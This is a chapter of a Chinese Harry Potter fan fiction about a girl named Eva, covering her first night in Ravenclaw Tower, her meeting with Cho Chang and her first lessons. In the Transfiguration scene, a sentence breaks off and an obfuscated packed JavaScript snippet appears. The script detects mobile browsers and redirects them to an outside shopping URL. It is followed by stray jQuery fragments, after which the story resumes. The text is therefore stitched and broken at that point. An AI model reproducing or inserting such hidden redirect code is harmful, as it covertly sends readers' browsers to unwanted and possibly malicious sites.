3. 拉文克劳塔楼

作品:《HP同人霍格沃茨上学指南

    拉文克劳的公共休息室在天文塔楼上,得爬好长好长的旋转楼梯。


    Eva跟着级长罗伯特·希利亚德和其他新生往上走。楼梯一圈又一圈,转得她有点头晕。罗伯特个子高高,脸上总带着温和的笑,他边走边回头说:“拉文克劳的入口不在地下,也不在地面,我们在高处——看得最远。”


    终于,他们停在一道光滑的橡木门前。门上没有把手,只有一个青铜做的鹰形门环,老鹰的眼睛在昏暗光线里幽幽发亮。


    “要进去,得答对一个问题。”罗伯特转过身,对脸蛋还红扑扑的新生们说,“什么问题都可能——魔法史、理论、谜语,甚至麻瓜的学问。答对了,门才开。这是我们院的传统,提醒我们智慧是通行证。”


    一个淡金色头发、戴眼镜的男孩紧张地推了推眼镜:“要是答不上呢?”


    “那就等着,”罗伯特耸耸肩,“等到有人答出来,或者你自己想出来。通常不会太久。谁想试试?”


    新生们你看我,我看你。Eva站在后面,安静地看着那个门环,这让她想起爷爷书房那个要对上诗句才会开的锁。


    “我来。”一个褐色短发、眼神机灵的女生走上前,吸了口气,敲了敲门环。


    鹰喙张开了,一个清晰但毫无感情、带着回音的声音响起:“什么东西越给予,自己反而越丰盈?”


    女生眨眨眼,很快笑了:“知识!”


    “正确。”橡木门悄无声息地向内滑开,温暖的灯光和旧书、羊皮纸特有的气味涌了出来。


    新生们鱼贯而入,发出低低的惊叹。


    休息室很大,是圆形的。高高的拱窗挂着蓝色和青铜色的丝绒窗帘,窗外是深蓝近黑的夜空,星星又大又亮。穹顶绘着星图,星辰缓缓移动。墙边全是高耸的书架,塞满了书,有些烫金,有些旧得字迹模糊。几张宽大的桌子散落各处,上面摆着黄铜仪器、羊皮纸卷和没吃完的薄荷糖。壁炉里火焰噼啪作响,旁边散放着舒适的扶手椅,几个高年级学生坐在那里看书或低声交谈,听到动静,投来友善的一瞥。


    房间中央最引人注目的是一座白色大理石雕像,那是一位戴着头冠的女子,面容美丽,眼神睿智得仿佛能洞悉一切。


    “罗伊纳·拉文克劳,”罗伯特顺着Eva的目光看去,“我们的创始人。她相信才智是最宝贵的财富。”


    罗伯特开始讲解规则:宵禁时间、图书馆的使用、禁止在休息室里熬制气味浓烈的魔药(“去年有个五年级生熬制缩身药水时加了双倍的皱皮无花果,冒出那种可怕的臭鸡蛋味黄烟,家养小精灵擦洗了整整一个礼拜,天花板上的污渍才淡下去。”)。然后他指了指两道螺旋楼梯:“男生左边,女生右边。行李已经送到寝室了。”


    女生寝室在塔楼更高处。Eva跟着大家爬上一段旋转石梯。门口一块小铜牌亮着字,显示着寝室成员的名字:Eva Zhang, Lisa Turpin, Mandy Brocklehurst, Padma Patil。


    寝室是圆形的,不大却舒适。四张带深蓝色帷幔的四柱床靠墙摆放,每张床边都有一扇窄窗、一张书桌和一个衣柜。她的行李箱放在床脚,素雪的笼子搁在书桌上,素雪正用喙梳理着羽毛。


    Eva从床边的窄窗望出去,正好能看见黑湖,湖面在月光下泛着细碎的银光。另外三个女孩已经到了:褐色短发的丽莎·杜平,浅金色长发、气质文静的曼蒂·布洛赫(礼堂里坐在她旁边的那个),还有皮肤微黑、头发又长又直的帕德玛·佩蒂尔,她有个双胞胎妹妹在格兰芬多。


    “你的猫头鹰真漂亮,”帕德玛轻声说,“我带了只谷仓猫头鹰,叫维克拉姆,放在楼下的猫头鹰棚屋了。”


    “谢谢。”Eva打开笼门,素雪跳出来,轻盈地落在她肩上,琥珀色的眼睛打量着新环境。


    女孩们开始换上睡衣,收拾东西。Eva从箱子里取出那个装着紫竹笔的紫檀木盒,小心地放进书桌抽屉,又将绢帛笔记塞到枕头下。那套青色道袍和旗袍,她犹豫了一下,还是叠好收进了衣柜深处。最后,她拿出那根紫杉木魔杖,放在床头柜上。


    魔杖在室内光线下泛着幽深的色泽。Eva盯着它看了一会儿,指尖无意识地抚过腕上的玉佩。玉佩温润的触感,与魔杖隐隐散发出的、微妙的张力截然不同。


    “那是你的魔杖?”丽莎凑过来看,“颜色真深。”


    “嗯。”Eva简单应道。


    “奥利凡德先生跟你说什么了?我的魔杖是樱桃木的,他说适合‘有远见的人’。”丽莎的语气带着点小得意。


    “他说……它等了很久。”Eva轻声说。


    就在这时,门口传来轻轻的敲门声,接着门被推开一道缝。一个黑发扎成利落马尾的女孩探头进来,深褐色的眼睛带着开朗的笑意。她穿着拉文克劳的蓝色睡衣,怀里抱着个靠枕。


    “嘿,新生们!我是秋·张,二年级。”她用英语说,然后目光落在Eva脸上,换成有些生硬的普通话,“罗伯特跟我说我们院来了位姓张的新生,我就过来打个招呼——果然是你!分院时我就注意到你了。”


    Eva站起身:“我是张丽华,叫我Eva就好。”


    “Eva,”秋重复了一遍,点点头,自然切换回英语,“我父母是从香港来的,我们家住在伦敦。你呢?听你口音……”


    “我从内地来,”Eva也用英语回答,“江南一带。”


    “真的?”秋眼睛一亮,抱着靠枕走进来,“我祖父母还在香港,但我还没回过内地呢。你会说粤语吗?”


    “不会,”Eva摇摇头,“我说普通话和一点家乡话。”


    “我说粤语和英语,”秋笑起来,“普通话只会一点点。不过没关系,在这儿我们说英语的时候多。有任何需要帮忙的,随时找我,同一个学院就像一家人。”


    她的热情很真挚,Eva能感受到那种同为华裔的亲近感,但又明显不同。秋更开朗、直接,是在英国长大的女孩的模样。


    “谢谢。”Eva说。


    “对了,明天早饭后我带你去认认路?”秋提议,“城堡大得像迷宫,我刚来时迷路了好多次。”


    “好的。”


    秋又和丽莎、曼蒂、帕德玛简单聊了几句,然后抱着靠枕离开了:“不打扰你们休息了,晚安!”


    门关上后,丽莎好奇地问:“你们之前认识?”


    “不认识,”Eva说,“但都姓张。”


    “在英国遇到同姓的华裔确实挺难得的,”帕德玛理解地说,“我和我妹妹在火车上遇到另一个印度女孩时,也特别开心。”


    曼蒂已经爬上床,从帷幔里探出头:“秋人很好,她是拉文克劳魁地奇队的替补找球手,虽然才二年级,但飞得很棒。”


    Eva点点头,躺进柔软的被褥。枕头有阳光晒过的干净味道。她听着其他女孩逐渐平稳的呼吸,以及城堡远处传来的、难以辨别的细微声响。


    今天发生了太多事。火车,黑湖,城堡,分院帽在她脑中的低语——那些话她还在琢磨。“看得清所有”,“古老的智慧需寻得落足之处”。拉文克劳塔楼确实很高,视野开阔。


    还有秋·张。一个在英国出生长大的华裔女孩,开朗友善,似乎已深深融入了这里。


    她闭上眼睛,慢慢沉入睡眠。


    第二天早晨,Eva被一阵扑棱声唤醒。素雪正用喙轻啄她的帷幔。窗外天已大亮,阳光透过高塔的窗户,在地板上投下明亮的光斑。


    她赶紧起床,换上校服长袍。其他女孩也陆续醒来,寝室里充满了早晨特有的忙乱:找袜子、梳头、互相提醒别忘带课本。


    下楼到公共休息室,已有不少学生在排队等待回答门环的晨间问题。今天的问题是:“何物无生命,却能生长;无肺腑,却需呼吸?”


    一个五年级学生很快答道:“火。”


    门开了。他们鱼贯而出,走下漫长的旋转楼梯,前往礼堂。


    礼堂里同样明亮喧闹,长桌上摆满了食物:烤面包、熏咸肉、煎蛋、燕麦粥,还有冒着热气的南瓜汁。天花板是淡淡的蓝天,飘着几缕白云。


    Eva在拉文克劳长桌找了个位置坐下,旁边是曼蒂。她拿了一片烤面包,慢慢地涂上黄油。


    “Eva!”


    秋在她对面坐下,马尾辫随着动作轻轻晃动:“睡得好吗?塔楼很高,有些人第一晚会觉得不安稳。”


    “还好。”Eva说。


    “那就好,”秋咬了一口吐司,“对了,课表拿到了吗?级长应该早上在休息室发过了。对!就是这个。”她指着Eva刚拿出来的深蓝色羊皮纸,“我看看……一年级今天有魔咒课、变形术、魔药课。魔咒课的弗立维教授人特别好,就是个子矮,上课得仔细听。变形术的麦格教授非常严格,但教得极好。魔药课嘛……”她做了个鬼脸,“斯内普教授……嗯,自求多福吧。”


    Eva不时点头,暗暗记下。九点,魔咒课(与赫奇帕奇合上);十一点,变形术(与格兰芬多合上);下午一点半,魔药课(再次与格兰芬多合上)。


    “还有,”秋压低声音,“如果在城堡里迷路了,记得问画像。有些画像特别爱聊天,可能会指错路,但大部分是好的。还有那些会动的楼梯——千万别在它们移动时傻站着,我上次就被困在四楼和五楼之间等了二十分钟。”


    “谢谢。”这些提醒很实用。


    “别客气,”秋笑道,“对了,周末如果有空,我们可以一起写作业。我魔药不太行,但魔咒课还可以。”


    这时,她看见哈利、罗恩和那个叫赫敏的棕发女孩一起走进礼堂。赫敏边走边飞快地翻着一本厚书,嘴里念念有词;罗恩打着哈欠,头发更乱了;哈利看上去有些疲惫,眼下有淡淡的阴影。


    哈利似乎感觉到视线,抬起头,正好与Eva目光相接。他愣了一下,随即露出一个有点局促、不太确定的微笑。


    Eva也轻轻颔首。


    秋顺着她的目光看去:“哦,哈利·波特。他昨晚分到了格兰芬多。整个礼堂都在议论他。”


    “你认识他?”Eva问。


    “不认识,但谁不知道他呢?”秋耸耸肩,“‘大难不死的男孩’。不过我听说他挺安静的,不像有些人那么爱出风头。”


    Eva没再说什么,继续吃她的早餐。秋又聊了些拉文克劳的趣闻:去年有个学生试图用魔法让书本自动翻页,结果把半本《魔法史》变成了会咬人的纸鸟;公共休息室角落那架旧望远镜据说能看清月亮上的蟾蜍(“真的,我发誓见过!”);还有拉文克劳的幽灵格雷女士,有时会整夜飘在塔顶凝望星辰。


    早餐后,Eva跟着拉文克劳的队伍前往魔咒课教室。秋在门口朝她挥手:“祝好运!下午魔药课如果遇到麻烦……嗯,或许我们可以一起研究,虽然我也不太擅长!”


    她的友善像一小团温暖的火焰。Eva点点头,初来乍到的疏离感似乎因这份善意而淡化了些许。


    魔咒课教室在三楼。弗立维教授站在一摞厚书上,才勉强够到讲台。但他的声音洪亮,讲解咒语原理时清晰而充满热情。


    “今天我们学习第一个咒语——漂浮咒!羽加迪姆勒维奥萨!”弗立维教授示范,一根羽毛轻盈地升到空中,“手腕动作要轻快,像甩钓鱼线——而不是拍苍蝇!”


    Eva拿出紫杉木魔杖。指尖触碰的瞬间,那股熟悉的热流再度涌动。她按照教授指导,手腕轻抖,清晰地念出咒语:“羽加迪姆勒维奥萨。”


    她面前那根灰色羽毛“嗖”地一声直冲天花板,速度快得惊人,“啪”地贴上顶板,才慢悠悠飘落。


    弗立维教授眨了眨眼:“哦!力量非常充沛,张小姐!但控制,控制是关键。再来一次,轻一些,想象你托着的是一片雪花。”


    第二次,Eva刻意收敛了那股热流,让它变得细缓平稳。羽毛应声升起,悬浮在半空,微微颤动。


    “很好!”弗立维教授高兴地说,“拉文克劳加五分!”


    旁边一个赫奇帕奇圆脸男孩——贾斯廷·芬列里——羡慕地看着她:“你一次就成功了?”


    “运气。”Eva轻声说,放下魔杖。她能感到魔杖似乎有些“意犹未尽”,渴望释放更多力量。


    变形术课是与格兰芬多合上,在麦格教授的教室。麦格教授威严的气场让所有学生噤若寒蝉。她将讲桌变成一头猪,又利落地变了回来。


    “变形术是你们在霍格沃茨所学的课程中最复杂、最危险的魔法之一,”麦格教授开门见山,声音清晰有力,“任何人在我的课堂上调皮捣蛋,就出去,并且可能永远不许再进来。我说清楚了吗?”


    她一挥魔杖,每个人面前都出现了一根火柴。“今天,你们要尝试将火柴变成一根针。这需要极强的专注力、清晰的想象力以及精准的魔力控制。咒语是‘速速变形’,手腕动作如下——”


    她干净利落地示范了手腕旋转的动作。


    “现在,开始练习。”


    教室里立刻充满了嗡嗡的念咒声和魔杖挥动的风声。Eva握住紫杉木魔杖,感觉它在掌心微微发热。她集中精神,凝视着那根小小的棕色火柴,在脑海中勾勒出一根银针的模样:尖细、闪亮、针眼清晰。


    “速速变形。”她轻声念道,手腕一转。


    噗的一声轻响,火柴扭曲了一下,一端变得尖锐,但另一端仍是木头,成了一根古怪的“针-火柴”混合物。


    旁边,赫敏·格兰杰已经成功地将火柴变成了一根完美的银针,针眼分明。麦格教授走过去,严肃的脸上露出一丝赞许:“做得非常出色,格兰杰小姐。格兰芬多加五分。”


    赫敏脸颊微红,但眼睛亮晶晶的。


    Eva再次尝试。这次她更加专注,不仅想象针的形态,也试着调动体内那股平和的“炁”,引导它顺着手臂流入魔杖,融入咒语。


    “速速变形。”


    火柴剧烈抖动,继而缩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980619|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    成一团银光,展开时,已是一根针。银色的针身表面带着细微的螺旋纹路,不如赫敏的那根标准光滑,但无疑是一根针。


    麦格教授走过来,拿起Eva变的针细看了看,眉毛几不可察地挑动了一下:“一次……独特的变形,张小姐。成功了,但控制力尚需锤炼。拉文克劳加三分。”


    Eva松了口气,放下魔杖,感到手心微湿。变形术比她预想的更难,要求的精神集中度极高,与爷爷所教的静心内观有相似之处,但更为“外向”和具有“塑造性”。


    她瞥向格兰芬多那边。罗恩的火柴冒了股烟,烧成了灰烬,他正懊恼地咕哝。哈利紧锁眉头,全神贯注地念咒,他的火柴变细变亮了,但仍未完全成为针。


    课程结束后,学生们涌出教室,在走廊里有短暂的交流时间。Eva遇到了正对着他那根半银半木火柴发愁的罗恩,以及拿着那根有点弯曲的“准针”的哈利。


    “嘿,Eva,”哈利看到她,眼睛亮了一下,“你的怎么样了?”


    “马马虎虎。”Eva老实展示她那根带花纹的针。


    “麦格教授简直严格得吓人,”罗恩哀叹,“我哥哥比尔说,她当年……”


    话没说完,一阵急促的脚步声传来。是赫敏·格兰杰,抱着一大摞书,棕色的卷发随着她的脚步跳动。


    “你们看见《魔法理论》的第三章了吗?关于变形中的物质守恒——”她的话戛然而止,目光落在Eva脸上,愣了一下,然后点点头,“哦,你好。你是拉文克劳的,对吧?昨天分院的时候。”


    “我是Eva。”Eva说。


    “赫敏·格兰杰。”赫敏语速很快,“我听说你的漂浮咒做得很好,弗立维教授都表扬你了。你是怎么控制魔力输出的?预习的时候我总觉得我的羽毛晃得厉害。”


    Eva想了想:“就……想着让魔力细细地流,别一下子冲出来。”


    “像调细水管,”赫敏若有所思,接着她好像忽然想起什么,看了一眼空荡荡的手腕——Eva猜她大概习惯了戴手表,“我得走了!得去图书馆占个靠窗的好位置,下午魔药课之前我得把《魔法药剂与药水》的笔记再顺一遍,斯内普教授肯定不会喜欢有人没准备好。”


    她说着就侧身要走,怀里的书歪了一下,差点蹭到一个正好路过的、穿绿色院袍的高年级斯莱特林。那人赶紧躲开,从鼻子里哼出一声,声音不大但挺清楚:“莽撞的——”


    赫敏好像根本没听见,或者听见了但没空理。她只是匆匆对Eva和哈利、罗恩点了点头,就把书抱得更紧些,哒哒哒地朝图书馆那边小跑着去了,嘴里还念念有词,好像在背什么。


    Eva看着她的背影消失在走廊拐角。这个女孩像一团烧得旺旺的小火苗,噼里啪啦的,一刻也停不下来。


    下午一点四十五分,Eva跟着人群走向地下教室。越往下走,空气越阴冷,光线越昏暗,空气中开始弥漫着草药和古怪化学物质混合的气味。魔药课教室在地下,与楼上城堡的明亮温暖截然不同。


    斯内普教授走进来时,黑袍翻滚,宛如一只巨大的蝙蝠。


    他那段关于“名气”的开场白,尤其是盯着哈利说的部分,让教室里的温度仿佛骤降了几度。Eva看到哈利僵在座位上,绿眼睛死死瞪着斯内普,手指捏得发白。


    接着是提问环节。赫敏的手臂几乎举到天花板,但斯内普完全无视,径直点了哈利。


    哈利答不出。斯内普冰冷而刻薄的讽刺像毒蛇的吐信。Eva微微蹙眉。这不像教学,更像某种……针对。


    轮到实际操作,熬制治疗疥疮的药水。Eva和帕德玛一组。她们按步骤处理干荨麻,小心地研磨蛇牙。Eva做得很仔细,爷爷教导过,处理药材最忌急躁。当她将坩埚架到火上,顺时针搅拌三圈半后,锅中药液逐渐变成了课本描述的、清澈的浅蓝色。


    一股阴影笼罩了她们的操作台。斯内普不知何时悄无声息地滑到了她们身后。他俯身,用瘦长的手指沾了点药液,凑到鼻尖嗅了嗅,又让它在指尖捻开。那双漆黑的眼睛锐利地扫过Eva的脸。


    他沉默了足足三秒,才用那种平板、毫无波澜的语调说:“……颜色正确,质地尚可。至少有人严格按照步骤操作了。”


    他没有加分,也没有明确的赞扬,只是陈述事实般的评价。说完,他立刻转向旁边纳威和西莫那一组,那里的坩埚正冒着不祥的黄绿色烟雾。斯内普的声音陡然变冷,语速加快:“隆巴顿!你是把豪猪刺在沸腾时加进去了吗?停下!立刻停下!”


    但已经晚了。一声闷响,纳威的坩埚熔穿了,药水四溅,他自己和西莫的脚上立刻冒出了红肿的疥疮。地下教室一片混乱。


    Eva看着痛苦呻吟的纳威被快速送往医疗翼,心沉了沉。魔药课远不止背诵步骤。在这里,失误伴随着真实的、痛苦的后果。


    混乱中,斯内普给格兰芬多扣了分,又严厉警告了所有人。当教室重新恢复秩序时,Eva注意到斯内普的目光再次扫过她的坩埚,那眼神里有一闪而过的审视,随即又变得空洞冷漠。


    剩下的时间里,Eva更加小心地看管着火候。下课时,她和帕德玛成功装瓶了合格的治疗疥疮药水,但过程让人神经紧绷。


    走出阴冷的地下教室,回到城堡主楼,Eva才感觉呼吸顺畅了些。下午剩下的时间没有安排课程,一些学生选择去图书馆或回公共休息室。


    “去图书馆吗?”帕德玛问,她看起来也有些疲惫,“我想找点关于基础魔药材料处理的资料,今天太吓人了。”


    Eva点头同意。她也想多了解一些,避免将来犯下危险的错误。


    图书馆里寂静无声,只有书页翻动的沙沙声和平斯夫人巡视的轻微脚步声。Eva和帕德玛在“魔药学基础”的书架前停留了许久,比较着不同的指南,又坐在靠窗的位置安静地阅读。当Eva终于从一本《千种神奇药草与蕈类》的插图详解中抬起头时,窗外的光线已经变成了金红色。


    抱着书走出图书馆时,天色已近黄昏。Eva慢慢踱回拉文克劳塔楼。夕阳的光线斜斜穿过高高的窗户,在古老的石地上投下长长的、温暖的光影。


    鹰形门环今天的问题是:“何物始于终结之后,又终于开端之前?”


    Eva思索片刻,答道:“明日。”


    门悄无声息地开了。


    她走进公共休息室。壁炉里的火焰安稳地燃烧着,映照着几个埋头看书或书写论文的学生。窗边,秋·张正和另一个拉文克劳女孩下巫师棋,棋子们互相叫骂着。秋看到她,抬头笑了笑。


    Eva找了个靠窗的安静角落坐下,翻开了那本《常见魔药材料处理指南》。


    窗外的天色渐渐染上暮色,塔楼高处,第一批星辰悄然浮现。城堡某处传来隐约的钟声,平和而悠远。


    她轻轻摸了摸腕上的玉佩,温润的触感让人安心。然后低下头,继续阅读。


    霍格沃茨的生活,就这样开始了。